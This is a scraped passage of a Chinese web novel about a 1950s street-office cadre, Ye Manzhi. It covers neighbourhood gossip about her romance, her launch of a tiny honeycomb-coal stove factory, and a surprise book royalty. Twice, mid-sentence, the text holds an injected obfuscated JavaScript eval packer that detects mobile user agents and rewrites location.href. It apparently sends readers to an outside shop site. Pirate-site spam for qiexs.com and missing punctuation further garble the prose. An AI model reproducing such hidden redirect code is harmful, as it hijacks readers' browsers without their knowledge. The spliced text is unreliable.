“这是用油漆桶做的煤炉子!专门给蜂窝煤用的!” “你从哪儿买的?现在连蜂窝煤都有专用炉子了?” 叶满枝得意道:“这是吴峥嵘给我做的!他说这种煤炉子比传统炉子省煤我已经在他办公室试过了确实比散煤好用!” “嘁不就是一个煤炉子么有什么了不起的!”叶守信盯着炉子观察一会儿说“这种炉子我也能做在下面留个通风口再弄个蜂窝煤内胆进去然后用黄泥填充空隙就行了。” 常月娥怼道:“你说得倒是轻巧之前怎么没见你做一个啊?人家小吴给来芽做了你又叽叽歪歪。来芽这炉子怎么用?咱烧壶水试试!” 叶满枝点燃一块蜂窝煤放在洞口的最上面然后将水壶放上去。 正要蹲下检查通风口时林青梅却敲门进来了。 “青梅来了?吃晚饭了吗?”常月娥热情招呼。 “婶儿我吃过了”林青梅回了一句就拉着叶满枝问“你最近是不是得罪什么人了?” “没有啊怎么了?” 劝返工作她没怎么参与应该得罪不到什么人。 “我妈说最近院儿里有人在说你跟吴团长的事。” 叶满枝不以为意道:“说吧我俩光明正大地来往又没避着人被人看到了议论几句是难免的。” “如果只是这样我就不着急了!”林青梅小声说“我觉得苗头不太对你跟吴团长谈对象应该是两个人的事吧?我妈说有些人在背后议论你 她跟叶满枝关系好一般人不会当着她的面说叶满枝的坏话当着叶家人的面就更不可能没眼色地谈论这些了。 要不是被她妈听到过两次,她们还被蒙在鼓里呢。 叶守信皱眉说:“这不是扯淡吗?来芽一共就谈了俩,第一个周牧是娃娃亲,那是长辈做主定的亲,不是她自己找的。第二个吴团长是组织介绍的,也不是她自己找的,怎么就成了她找对象只找干部了?” 叶满枝暗道,吴峥嵘是组织介绍的没错,但也是她自己找的。 不过,周牧算什么干部啊?顶多算是干部子弟。 她对这种传闻其实没什么所谓,她本身是高中生又是女干部,找个同样是干部的对象,有什么问题吗? 而且吴峥嵘的条件摆在那里,她把人划拉到碗里了,被旁人说几句酸话实属正常。 “嘴长在别人身上,他们愿意说就说吧,只要别嘀咕到我面前就行。” 林青梅急道:“那怎么行?要是给人留下一个攀附干部家庭的印象,对你以后的发展多不利啊!” 文化局三不五时就要开学习会,政治学习的频率不是街道办能比的。 林青梅每天耳濡目染,政治敏感度比叶满枝高多了。 “青梅说得对,现在的传闻,很可能越传越真,最后变成别人攻讦你的把柄!”叶守信气哼哼道,“这事不能轻易算了。” “我总不能逢人就解释,我跟吴峥嵘是组织介绍认识的吧?那成什么了?” 常月娥向及时通风报信的林青梅道了谢,然后对闺女说:“这种事本就不该由你一个姑娘亲自出面解释,你就别管了,让我去会会那群嘴欠的!” “妈,你可别跟人打起来啊!” “我吃的盐比你吃的米还多,你就放心吧!” 叶满枝一点也放不下心,之后的两天一直偷偷观察常月娥的动向。 她刚跟周牧退婚那会儿,常月娥没少跟人吵架,成了院儿里有名的泼妇。 最近刚把泼妇的名声洗刷了一些,她可千万别重蹈覆辙了。 然而,她还没等到常月娥有所动作,就先听说厂妇联姚主席在昨天的生产动员大会上,批评某些同志不将心思放到生产任务上,反而整天盯着别人的东家长西家短。 姚主席以军代表吴峥嵘同志遇到的问题举例。 吴峥嵘同志与对象是通过组织介绍,相亲认识的, 某些人却故意歪曲事实,制造谣言,在职工和家属中产生了很恶劣的影响。 姚主席没直接提及叶满枝的名字,但懂的人都懂,不懂的人也就没必要懂了。 这一举动算是在全厂职工面前帮叶满枝正了名。 人家小年轻是通过组织介绍认识的! 叶满枝听到消息后,立即跑去找了吴峥嵘。 “是你让姚主席帮忙出面澄清的吗?” “不是,”吴峥嵘脸上的神情不太好看,“你遇到这种事怎么不跟我说?” “你又不能替我吵架,跟你说也是徒增烦恼。” 吴峥嵘皱眉,显然对她这种论调极不认可。 不过,不等他开口讲大道理,叶满枝就转移话题问:“那姚主席怎么突然就在大会上提起咱俩的事呢?这时机也太巧了!” “是阿姨去妇联找姚主席帮忙的。” 叶满枝反应了一会儿才明白,他所说的阿姨可能是常月娥。 “我妈去找姚主席啦?” “嗯,姚主席了解情况以后,来跟我确认过。” 吴峥嵘也是第一次听到这种谣言,以防流言继续扩散,他请姚主席出面,在公开场合帮忙辟谣。 “我妈居然学会告状了?”叶满枝简直对常月娥刮目相看。 看她义愤填膺的样子,还以为会去院儿里干仗呢! “阿姨挺厉害的。” 吴峥嵘暗忖,看来老叶家真正能拿主意的,是他这位未来丈母娘。 丈母娘同志在女儿回来追问时,云淡风轻地说:“你们相亲的时候,是妇联的同志帮忙牵的线,那就相当于你俩的媒人,小两口只要没结婚,出现任何问题都可以找媒人解决。对于这种流言,我当然不可能挨家挨户吵架了,还是请媒人出面澄清是最方便的。” 叶满枝崇拜道:“妈妈,你好厉害啊!有勇有谋,智勇双全!” “哼,你少拍马屁!周末不是要去党校学习吗?你就专心学习去吧!以后当个比小吴还大的官儿!看看还有谁敢说你!” 好吧。 叶满枝就这样带着老母亲的殷殷期盼,去基层干部进修班学习了。 * 市委党校的名头响亮,但校舍占地并不大,只在市中心有一栋二层砖楼 。 这一期学习班的学员,被分成了两个班。 叶满枝所在的乙班,几乎全是各街道和乡镇的基层干部,像她这样无官无职的占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139681|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一半,其余大部分是副主任、副乡长、副镇长,少数是正职。 在一众中年同志之间,叶满枝算是相当年轻的,不但资历浅,在市里的人脉也浅。 放眼望过去,教室里的同学,她一个也不认识。 想找人寒暄都没机会。 根据她的经验判断,想在陌生场合快速加入谈话,要么找同一个区县的同志,要么找同一性别的同志。 同一区县的不好找,她直接走到第一排,坐到了一群女同志之间。 基层干部聚在一起,最好聊的话题肯定是工作。 不过,光明街已经将工作重点放到动员剩余劳动力回乡了,而有些单位居然还在推销公债。 叶满枝把她动员中签居民复购公债的办法分享给大家,得到了一位女乡长“以后都一起坐第一排的邀请。 学员们寒暄的时间并不长,教室坐满后,党校的秦副校长便走上讲台,给学员们上了第一节课。 授课内容并不是叶满枝提前准备的马列,而是一场形势报告。 按照秦校长的话讲,基层干部要多看报纸多听报告,跟不上形势,就不了解国内的情况。 秦校长在报告中提到了党的八大召开,介绍了印尼总统访问广州的意义,粉碎敌特破坏,还有支援埃及人民正义斗争。 当然也着重提及了动员剩余劳动力回乡生产的话题。 “事实上,劝返工作早在去年就已经在其他省市大规模开始了,咱们滨江属于进行得比较晚的。劝返工作不好做,但基层同志先不要气馁。城市剩余劳动力越积越多,其实能够反映出很多问题。 “第一,说明解放后咱们的卫生工作做得好了,出生人口多,死亡人数少,对吧?其次也能说明政府对贫苦居民的救济得当,少有死人的情况发生。第三说明什么?说明咱们公安机关对户口管理还不够严格吧?否则不会有那么多农村人口盲目流入城市。 “处理劳动力过剩的问题,是对大家的挑战,但也未尝不是机遇,咱们基层同志要学会从多个角度看问题…… 叶满枝听得津 津有味,感觉听形势报告,比上课有意思。 报告结束后,她就一直寻思秦校长的讲话,想着能在劝返工作中找到什么机遇。 光明街第一批返乡的人一共有42人,这批人属于在乡间有地,在城里又没工作的。 街道和居委会的同志上门做了几次动员,这些人就同意返乡了。 算是最容易劝动的一批人。 穆主任特意借用子弟小学的操场,为这42位群众开了一个欢送回乡生产大会,现场来看欢送的居民有两百多人。 欢送大会办得挺热闹,但回到街道办以后,穆主任就把叶满枝单独喊过去谈话了。 “小叶,你最近是不是有点欠缺工作热情啊?第六居委会那边怎么才动员了两个人返乡?穆兰蹙眉说,“你可不能刚去党校进修,就开始思想松懈掉链子! “主任,动员返乡这事我们两个居委会真是尽力了。军工大院里的工人比较多,那些从农村来城里生活的老人,大多是来帮儿女处理家务带孩子的,咱总不能把人家强行劝回去吧? 眼见她眉心越蹙越深,叶满枝赶紧说:“不过,我最近倒是有个想法,咱们处理剩余劳动力工作小组,除了动员农民回乡,是不是也可以想想其他办法解决劳动力问题? “嗯,说说吧,你有什么新想法。 “我觉得劝返工作只是节流,咱们街道还应该适当开源,为无业人员增加一些工作岗位。叶满枝笑着说,“我不是还在分管家庭手工业的工作嘛,其实可以在手工业方面多下些功夫。 穆兰沉吟道:“咱们街道有洗衣小组,糊纸壳小组,缝纫小组,手工小组,凡是能赚钱的副业基本都操办起来了。这些小组早就满员了,一时半刻吸纳不了太多劳动力。 叶满枝将她这几天想到的主意又在心里打了一遍腹稿,建议道:“主任,市里正在大力推广蜂窝煤,但是使用普通煤炉子并不能充分发挥蜂窝煤的优势。我最近见到一种专门针对蜂窝煤的煤炉子,材料简单,生产工艺也不复杂,要不咱们趁着市里推广蜂窝煤的东风,开一个小厂生产蜂窝煤炉子吧? 作者有话要说 一百个红包,明天见~ 感谢在2024-08-0512:04:39~2024 -08-0612:04:42期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:580970681个; 感谢灌溉营养液的小天使:7350050188瓶;木木mumu86瓶;Erinnotsay44瓶;白日梦想家、圈圈又被秀40瓶;外星人秋裤22瓶;木木四月、卡卡、总总要暴富、69406637、小胖妞、宝贝、螃蟹20瓶;Melody_小若19瓶;MINGTIO15瓶;山有木兮越人歌14瓶;维-纳、脆桃、pp、沁黛、逐梦的游鱼、市井人家、小呀嘛呀小菜花、手心、1849254510瓶;tingt9瓶;今天也要笑嘻嘻8瓶;睡睡6瓶;1234567890、63718905、青青、日更少迟早弃、竹雪影、coby、香樟路1248号、蚊子包、九公子、繁花似锦、不要受委屈!、padme、退休预备员5瓶;轻然4瓶;夏玖、遛遛的sunflower、47473392、xz凉凉3瓶;风烟俱净、北桥楠木、大肚的书架、啵一下有钱、长白、翘腿二郎、清舞飞扬、嗯啦、hh、279193862瓶;27589763、蘑菇救菊、kimpl0913、想不出名字的马小马、38528237、筱筱、甜菜、璃茉、小叶子、妮妮、柚子、crystal、飞羽、憨憨、啊~兔、我是村里狗蛋、Found、23461934、可尔必思、非VIP用户、vicky、是阿虚啊、千万、七月凉透心、禾乌昂、七七、Estelle、1、如梦之梦、梦、晨熙麻麻、噔噔、七七四十九、团子的早晨、69208282、偶人为之、泥鳅鱼娃娃、‘早起的虫儿、被鸟吃、仙仙小郡王、啊吖、祈祷的人鱼、春天花花、晚来天欲雪、行走的海豚、杰子、滴滴答答滴、鸢栀cissy、natsuki、感觉、胖蟹、xiaoxiao、眉眉仙女、墨陌、??49656349、喵喵摸~、tianxiawukeng、yangtt、涟漪、玛卡巴卡、kk、啦啦啦、然然然然然然然然、渔者愚者、YU、球球、木木Friday、千叶、八宝粥、陌陌、戊小乙、莫莫1瓶; 非常感谢大家对我的支持,我会继续努力的! 注册本站会员可以解锁更多福利,快试试吧 第 44 章 叶·富婆·满枝 叶满枝连生产都没抓过,就更别提办工厂了。 除了知道办厂能增加就业岗位,其他方面,比如企业的纳税和营收,她几乎完全不懂。 她不懂,但穆兰懂啊! 街道办的经费捉襟见肘,她早就动过办工厂的心思了。 其实,光明街上的工厂不算少,但大多数国营工厂都是由区里投资建设的。 企业利润会逐级上缴到区里和市里。 街道办不但拿不到这些工厂的利润,还得帮区里看着工厂的生产情况。 整天守着好几座金山,却看得见摸不着,只能靠着有限的财政拨款过日子,穆兰心里的郁闷就别提了。 “主任,咱光明街的闲散劳动力还挺多的,”叶满枝小心地问,“街道为什么不多开几家工厂啊?” 穆兰组织了半天语言,只给出一句“这事说来话长”。 隔壁的张勤简吹了吹茶叶沫子,接话说:“街道集体企业规模小,生产的产品大多在计划轨道之外,没有统购,也就没有统销。组织生产不难,难的是怎么给产品寻找销路。” 除非有门路,否则计划外的产品,很难进入商店或门市部的柜台。 而这些小厂的负责人,大多是街道积极分子,阶级成分通常是贫农或工人,让他们组织生产还行,找销路就不能指望了。 叶满枝眼巴巴地问:“主任,那这间工厂到底能不能开啊?” 那些困难啊,阻碍啊,她都不关心。 她只想知道工厂能开不。 穆兰站在那蜂窝煤炉子前观察了一会儿,回头问:“生产一个这样的炉子,大概需要多少成本?” 叶满枝说:“如果只生产简易煤炉子的话,最外面的铁皮可以用废品收购站的油漆桶,填充用的黄土随便挖不花钱,比较大的开销是内膛和支撑内膛的铁架子。” “哦,那就是没什么成本。” 叶满枝懵了一瞬,油漆桶、内膛和支架都要钱,怎么就没成本啦? 穆兰理所当然地说:“咱们街道有制坯小组,也有打铁小组,先从他们那里借一些内膛和铁架子,等产品卖出去以后再结账。” “还能赊账啊?”叶满枝问,“主任,这制坯小组和打铁小组在哪里啊?” “ 在第二居委会那边。没活的时候,组员们在家里做家务,等到有活的时候再去各家招呼一声就行了。 叶满枝:“…… 工作时间好灵活哦。 她再次问:“主任,工厂到底能不能开啊? 这次穆兰和张勤简的回答出奇的一致。 “能开啊,怎么不能开! 反正办厂几乎不需要什么资金投入,若是盈利了还能给街道上缴利润。 至于销路的话,暂时不用发愁。 基层干部是最先被推广使用蜂窝煤的群体,几乎家家户户都用上蜂窝煤了。 在干部间推销炉子,一定会有销路。 穆兰自家就至少要买两个。 “小叶,劝返工作暂时交给赵二贺去做。这会儿刚入冬,正是煤炉子的销售旺季,你先把工厂办起来! “让我负责办厂?叶满枝慌张道,“我没办过厂啊。 她连工厂工作经历都没有,哪会办厂呀? “工作经验都是从无到有的,你放手去干,争取早日投产。 * 接下办厂任务后,叶满枝着实紧张了半天,没想到领导会将这么重要的任务交给她负责。 然而,半天后,她就恢复平静了。 办工厂,在一般人眼里也许算是一件了不得的大事。 但是放在街道办,还真不算什么。 工厂与工厂是不一样的。 有的工厂职工上万人,占地面积堪比一个小县城,譬如656厂。 有的工厂职工个位数,胡同当车间,譬如她即将开办的煤炉子厂。 叶满枝平复了心理落差后,先回家宣布了她要办厂的消息。 “来芽,你要当厂长啦? “只是暂时兼任厂长,等厂子走上正轨以后,还要任命一个正经的厂长。 叶满枝没敢胡吹,毕竟现在全厂只有她一个人,实在没什么可吹的。 “那你们工厂招不招工人?沈亮妹赶紧问,“能让你四哥去工厂上班吗? “可以啊,但咱爸不是说让四哥进基建处当建筑工人吗? 沈亮妹撇撇嘴,不吭声了。 叶满枝觉出不对劲,放下正在收尾 的围巾,抬头问:“我四哥又怎么了?他不想当建筑工人啊? 常月娥叹气说:“你四哥不是因为聚赌被保卫科抓住了嘛,虽然没在公安那里留下案底,但厂领导已经放话了,那17个参与赌博的人,656厂永不录用。 为了这事,老叶昨天又把老四打了一顿。 叶满枝同情地望向四哥,“不能去656还可以去其他单位,哥,你要不要来我们煤炉子厂工作?举贤不避亲,我给你留一个名额。 四哥先问:“你们那工厂是什么性质的啊?国营的还是集体的? “国营集体都不耽误你领工资,你问那么多干嘛? “集体的工资比国营的低,还没有劳保和公费医疗,四哥挑剔道,“集体工厂那点工资,未必比我现在赚得多,与其去工厂卖苦力,还不如鼓捣我的花鸟鱼虫呢。 叶满枝懒得搭理他,“你不去就算了,正好给我们省下一个用工名额,想来工厂上班的街道居民多得是。 四哥看不上集体企业,但他这番话也给叶满枝提了醒。 她现在还是光杆司令,既没人,也没钱。 企业性质也并不明确。 如果由街道办投资建厂,那这家工厂就是全民所有制的,也就是国营的。 如果由居民筹资建厂,那工厂就是集体的。 次日上班的时候,她跟张勤简提了这件事,不如由街道办出点钱,把企业变成国营的。 张勤简并没有一口回绝。 他觉得蜂窝煤炉子应该能赚钱,由街道办出资的话,上缴给街道的利润也会更高一些。 于是,他打开小金库,抠抠搜搜地给叶满枝批了五块钱的建厂资金。 叶满枝握着五张一块钱,愣了好一会儿才回过神来,“主任,建厂资金只有五块钱啊? 一家国营工厂,建厂资金才五块钱,说出去简直能笑掉人的大牙。 “白手起家阶段不要求全责备,尽量少投入多产出。张勤简一笔一笔帮她算账,“生产煤炉子的原材料基本都可以赊账,第一个月要用钱的地方只有厂房租金和运输黄土的费用。你只要能把煤炉子卖出去,资金回笼以后,第二个月就好过了。 这是他干倒了三家集体工厂以后,总结 出来的宝贵经验。 叶满枝觉得还是可以听一听的。 于是接受了原始资金只有五块钱的事实后她去街道工商所做了登记便准备着手招工了。 尽管办厂思路是由劝返工作得来的但工厂组织招工的时候却不能只招农村户籍的工人。 在这方面无论城镇户口还是农村户口无论男同志还是女同志原则上要一视同仁。 所以她与穆主任商量过后在街道办院外贴了一张招工启事。 《国营光明煤炉厂招工简章》 【由于生产发展及社会主义建设需要为了更好地为人民服务我厂现面向社会招收一批新职工。】 【招工范围:光明街居民(不限户籍但需在光明街有固定住所)。】 【招工工种和名额:工业生产工人(制炉) 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节)男3人女3人。】 【招工条件:拥护党的领导热爱社会主义祖国遵纪守法服从组织分配。】 【本人过往历史清楚需有原单位或户籍所在地街道(乡镇)证明。】 【学历不限(同等条件下成分好的优先自备生产工具者优先)年龄在45周岁以下(打铁匠、箍铁匠、泥瓦匠及有煤炉制作经验者可适当放宽要求)】 【勤劳肯干身体健康必须经街道卫生站体检。在入厂半年后发现慢性病者可以退回原单位(不是在本厂得的病)】 【无论男工女工已婚未婚均可。】 【招工说明:择优录取后必须服从组织分配。工厂将根据生产需要结合个人意愿分配具体工作以生产需要为重点。】 招工启事贴出去以后叶满枝重新跑回办公室一边守着炉子烤火一边往大门口张望以防有人将招工启事揭下来。 消息贴出去不到一小时就有居民进来打听了。 一部分是识字不多询问墙上贴了啥的另一部分是打听招工情况的。 街道办的几个新人都是第一次围观工厂招工一有人进来就立即竖起耳朵听热闹。 叶满枝从前是应聘的那个头一次负责招聘工作让她手心里直冒汗。 别看她招聘条件写得挺复杂其实并没对应聘者设门槛。 真正的门槛她 根本就没写到招工启事上。 前三名应聘者,都是军工大院的家属,完全符合招工条件,只要体检没问题,就可以优先录取。 但叶满枝没敢松口,只让人家将家庭住址留下,录取结果另行通知。 第四个进来应聘的是郭二妮,条件与前三个差不多,叶满枝也像对待其他人一般,让她留下具体地址等通知。 然而,郭二妮找了许久工作未果,好不容易在家门口碰到一个不限户口,不限学历,不限性别的工作机会,她哪能轻易放弃! 她最近已经总结出经验了,回家等通知,基本就是没戏的意思。 “小叶干部,你看我这体格多好,脏活累活都能干,而且我是贫农出身,上班还能自带锤子和剪刀,招工启事上不是说成分好的和自备生产工具的人优先嘛。你还有啥不满意的?为啥不能把我留下? 叶满枝学着张勤简的样子说套话:“厂里需要综合考虑大家的情况。 “综合考虑哪方面啊?郭二妮不肯放弃,“你说出来我努力努力。 叶满枝笑道:“好吧,我跟你说说也行。咱们光明煤炉厂是新建厂,虽是街道组织的国营单位,但白手起家阶段,许多东西还没准备好。比如一些生产工具,还比如生产车间。 郭二妮一针见血地问:“小叶干部,厂里连厂房都没有啊? “新建厂嘛,连工人都没有,更何况是厂房呢,叶满枝故作淡定,语气寻常道,“起步阶段不需要太大的场地,最好能租用职工家里的院子,咱们可以适当付一些场地租赁费。 建厂资金只有五块钱,她不能把资金都用在场地租赁上。 最好可以像糊纸壳小组或缝纫小组那样,在某个组员的家里完成生产任务。 郭二妮思考片刻,向她确认:“小叶干部,要是我能给你找到场地,厂里能录取我吗? “可以,你是来报名的第二位女同志。 “那行,小叶干部,你先帮我把名报上,我这就去帮你找场地去! 见她点了头,郭二妮推开大门就冒雪跑了出去。 “这郭二妮去哪给你找场地啊?刘金宝抻着脖子往外看,“她男人是不是快放出来了? “听派出所那边说,赵国栋服 刑已经满三个月,上周就出来了。 “难怪她着急,赵国栋进过看守所,不知656厂会怎么处置他。万一把他辞退了,他家那房子八成要退回厂里,郭二妮既要找工作,又要找房子,不容易呀! “郭大姐挺能干的,叶满枝笑道,“我看她就算离开军工大院也能把日子过好。 郭二妮去得快回得也快,不到三刻钟的时间,就拉来了一位穿着破棉袄的中年妇女。 “这是邵丁香,男人前年没了,现在跟她公婆住在月牙胡同那边,小叶干部,只要能让她跟她公公都进厂工作,他家那个院子还有一个小屋,可以免费给工厂使用! 叶满枝笑得亲切,“邵大姐,你自己介绍一下你家的情况,还有你公公多大年纪了? “我38岁,我公婆都快60了,不过我公公身体挺好的,偶尔还能干些木匠活。我家那个院子跟街道办的院子差不多,小屋的话有办公室一半大吧,要不你跟我回去看看吧? “也行。 叶满枝喊上刘金宝陪她一起出外勤。 邵丁香家里的格局与五哥之前租住的那个院子差不多,都是院子大,房间小的。 了解过大致情况后,叶满枝对李家三人说:“大爷大娘、邵大姐,你家这院子和房子都挺好,我提一个方案,你们听听行不行。 邵丁香紧盯着她,抠着手指点头。 “只要能通过卫生站的体检,厂里就录取邵大姐当正式工人,但李大爷的年纪偏大了,只能当临时工。在工厂初建阶段,咱们没有固定工资,发的都是计件工资,有活多干,没活少干,个人收入与完成的任务量有关。所以正式工和临时工在工资待遇上没什么区别。 “月牙胡同这边租一套院子的价格是5元左右。厂里暂时以每月2元的价格租用你家的外院和小屋,租期半年,房子到期以后一次性付清租金。如果半年后仍继续租用你们的院子,租金可以另行商讨,你们看这样行不行? 半年后就开春了,也过了煤炉子的销售旺季。 煤炉厂能否继续开办下去,届时就能见分晓了。 这套院子是李家的私房,能在半年后得到12块钱的租金,还能有两份工作,李家人没什么不愿意的。 李大 爷立即点头说:“领导,就按你说的办,一会儿我就把院子和屋子收拾出来!” 叶满枝在李家看了看,又去居民小组长那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13189039|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了解了一下他家的情况,确定李家人所说无误后,便回去拟定合同,通知最先应聘的几个居民体检上班。 煤炉厂一共招聘了6个正式工,1个临时工。 其中郭二妮属于特别能干的,应聘之后当天体检,当天上岗,拿到叶满枝开出的介绍信,就去废品收购站买了50个废旧油漆桶。 “一个油漆桶两毛五,50个桶一共12块5,我跟废品收购站的人说好了,先给他们2块5的定金,另外十块钱月底一次性结清。” 叶满枝被她的高效率打个措手不及,没想到办厂第一天就要开工。 她现在终于体会到穆主任的心情了,对于工作特别有干劲儿的同志,她确实不好意思打击人家的工作热情。 “那什么,郭大姐,你再受累往第二居委会的制坯小组和打铁小组跑一趟,”叶满枝将需要赊账的清单交给她,“我去把制作煤炉子的大师傅请来,咱们争取今天备齐材料,明天正式试生产。” 郭二妮好不容易得到一份工作,正是工作热情最高涨的时候,拿到清单以后二话不说又跑了。 叶满枝擦擦额上的汗,赶紧回家找她四哥。 四哥在家清理鱼缸呢,听了她的要求后,无语道:“我又不是你们工厂的工人,凭啥让我去做煤炉子?” “要不是吴峥嵘和咱爸还得上班,我哪敢劳动你这尊大佛!你快去厂里帮我指点一下吧!” 她把吴峥嵘做的煤炉子拿回来以后,老叶和四哥也依葫芦画瓢做了两个。 因为没在黄泥里掺放保温材料,保温效果不如之前的好,但这样却能大大降低生产成本。 现在四哥就是她目前能找到的,唯一会做蜂窝煤炉子的人。 四哥将渔网收起来,嘀咕着“真是欠了你的”,穿上棉袄就要跟她出门。 然而,两人刚走到楼道口,三嫂黄黎就骑着自行车冲了过来。 “叶满枝,你不在街道上班,乱跑什么啊?” “我忙着办厂呢,嫂子,你找我什么事啊?” 黄黎往老四身上瞄了一眼,顿了顿说:“有你的挂号信,你过来 签收一下!” 叶满枝走到她的自行车旁边乖乖伸手等着签字可是被黄黎放进她掌心的却并不是什么挂号信而是薄薄的一张邮政取款通知单。 她瞪着眼睛往金额那一栏望去看清上面的数字后心脏立即咚咚激跳起来。 我的天啊! 七百八十元整! 她揉了揉眼睛看向汇款单位“省美术出版社”。 这是她那本时装图书的稿酬到账啦? 黄黎见她傻愣在原地很能理解她的心情。 刚在邮政所看到小姑子这张取款通知单的时候她也被震惊了。 原以为那样一本图书能有四五百的稿酬就顶天了。 没想到人家一次性进账将近八百块! 这让她更加坚定了走出版路线的决心现在文人出书也太赚钱了! 时下七百八十块的购买力放在她那个时代差不多得有小十万了吧? “你别傻站着了!赶紧把信收起来”黄黎又隐晦地往老四身上瞟了一眼“放好了别弄丢了!” 这叶老四有赌博前科 说的域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节)在她这里就是不稳定因素大额财产不能露在他面前。 叶满枝脑袋瓜晕乎乎感觉整个人都轻飘飘的三嫂说什么她都答应着一个指令一个动作。 将取款单收好后她回头望向四哥用一种不太真实的语调说:“哥今天先不试生产了我去街道办一趟你先回去吧。” 四哥翻个白眼嘟嘟囔囔地回去继续清洗鱼缸。 叶满枝双眸晶亮地问:“嫂子我今天能去邮政所取钱吗?” “可以取但现在快到下班时间了邮政所人来人往你最好找个人少的时间让咱爸妈陪你一起去取钱。” 叶满枝理解她的担忧赶紧答应下来。 她一手揣在兜里死死护住自己的取款单深一脚浅一脚地回了街道办。 她想给出版社的周主任打个电话打听一下图书正式上市的时间还有这笔稿酬是怎么计算的怎么给她这么多啊? 结果她回到单位刚推开办公室的木门便见到周主任正坐在穆主任对面聊天呢。 “小叶回来了”穆兰笑着说“老周有什么事你单独跟小叶谈吧! ” 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 周敏将叶满枝重新带出办公室,在院子里找个背风的角落,低声问:“出版社寄给你的汇款单,你这两天应该收到了吧?” “收到了,下午刚收到的!” “嗯,我下班路过这边,正好跟你讲一讲你的稿酬问题,你就不用往我们出版社再跑一趟了。”周敏拉下围巾说,“这种以图片为主的图书,咱们出版社不以千字标准支付稿酬,而是以著作页为计算单位进行支付。你这本书一共一百页,第一批次的基本稿酬总共是780元。” “另外,咱们出版社都有印数定额,图书出版时,根据不同作品的具体情况,会制订一万、两万或三万册为一个定额,你这种时装图书是咱们出版社的全新尝试,发行面可能会比较窄,所以社里给你定了每印出一万册为一个‘定额’。” “印刷第1-4个定额时,每个定额都会给付780元。从第5个定额开始,每个定额只支付基本稿酬的80%。十三个定额以后支付40%,我这么说,你能听懂吧?” 叶满枝眨巴眨巴眼睛问:“周主任,您的意思是,这笔稿酬不是一次性结清的?随着刊印数量的增多,我还有机会拿到第二笔第三笔稿酬,每多卖一万册,我就能多得780块,是吧?” “嗯,有可能,还要看你这本书之后的销量如何。” 叶满枝在心里哎哟了一声,她这是要发财啦? 光是想到以后还可能再有好几个780块,她就有点喘不过气啦! 周主任之后又说了什么,她一句也没听进去。等对方离开后,她又在院子里独自僵立许久,站得脚都发麻了。 正想进屋时,支行的业务员何山却突然跑进院儿里喊住了她。 “小叶干部,听说你今天有一笔大额进账?” 叶满枝立即警惕地问:“你从哪听说的啊?” “哈哈,我们银行和邮政所之间没有秘密。”何山笑着说,“小叶干部,上次兑付公债的工作,我对你也算鼎力支持了吧?你这笔钱取出来以后,是不是得存到我们支行,也支持一下我们的工作啊?” 叶满枝心说,我连稿酬还没摸到呢,你就开始惦记让我储蓄啦? 何山的到来让她脑子清醒了不少,笑嘻嘻道:“好说好说,你不来找我,我也要去 第 45 章 小叶要花大钱 为了将社会上的零散资金,投向社会主义生产建设,人民银行早就推行了“有奖储蓄”。 叶满枝手上仅有的那点存款,30元买了公债,30元存了定期有奖储蓄,还有15元存了活期有奖储蓄。 公债推销工作,之所以不好做,其实很大程度上,是受到了银行定期有奖储蓄的影响。 在银行存一年定期的利率是7.2%,而公债的年利率只有4% 而且在银行储蓄可以摇奖,头奖五百,末奖一块。 常月娥就曾经中过一次末奖。 “小何同志,你们银行应该不愁存款吧?相比于买公债,大家好像更青睐去银行储蓄。” 何山苦笑:“怎么不愁存款呢?别看我们搞有奖储蓄搞得挺热闹,但是真正有钱往银行存款的人,只有很少的一部分。最近又有公债分走了一部分居民储蓄,我们银行的日子真是不好过啊。” 叶满枝一手捂着自己的取款单,另一手把他拉到避风的屋檐下。 “小何同志,我说句实话,你可能不爱听。” “嗐,咱们都这么熟了,你就直说吧。”何山还惦记她的大额存款呢。 “大家不去银行储蓄,主要是没有余钱,你说谁没事会为了那一块两块的存款,特意往银行跑一趟啊。”叶满枝推心置腹地说,“若想增加储源,还是得增加群众收入,你们那么大的银行,别总盯着个别人的口袋了,想办法让大家共同富裕起来吧。只要老百姓口袋里有了钱,自然就会往银行储蓄了。” 何山呵呵笑:“小叶干部,我就是个业务员,这么伟大的工作,暂时轮不到我操心呀!” “业务员怎么了?我还是小干部呢,现在不是照样代理厂长!”叶满枝郑重道,“小何同志,我可不是为了找你贷款才说这样的话。我觉得你们支行,应该多跟街道上这些工厂和生产小组联系,主动帮大家解决生产上的困难,无论是资金方面的,还是生产资料方面的。” 何山:“……” 又想让我们上门 服务呗? “你想想,如果街道工业发展起来了,工人的收入是不是也会随之增加?”叶满枝掰着指头给他算账,“就拿我们煤炉厂来说吧,起步阶段只要小小地投入一点资金,就能扩大生产规模,帮我们在旺 季卖出更多的蜂窝煤炉子。我们厂的工资是计件工资,工人做得多收入就多了,自然也就能往你们银行存钱了。” “小叶干部,这些我都懂,但你也知道,有些人是老思想,宁可把钱压箱底,也不愿意放到银行里储蓄。” 他忙活一溜十三遭,帮人家把工厂搞起来了,收入也提高了,结果工人没有储蓄习惯,不往银行存钱,那他不是白忙嘛! 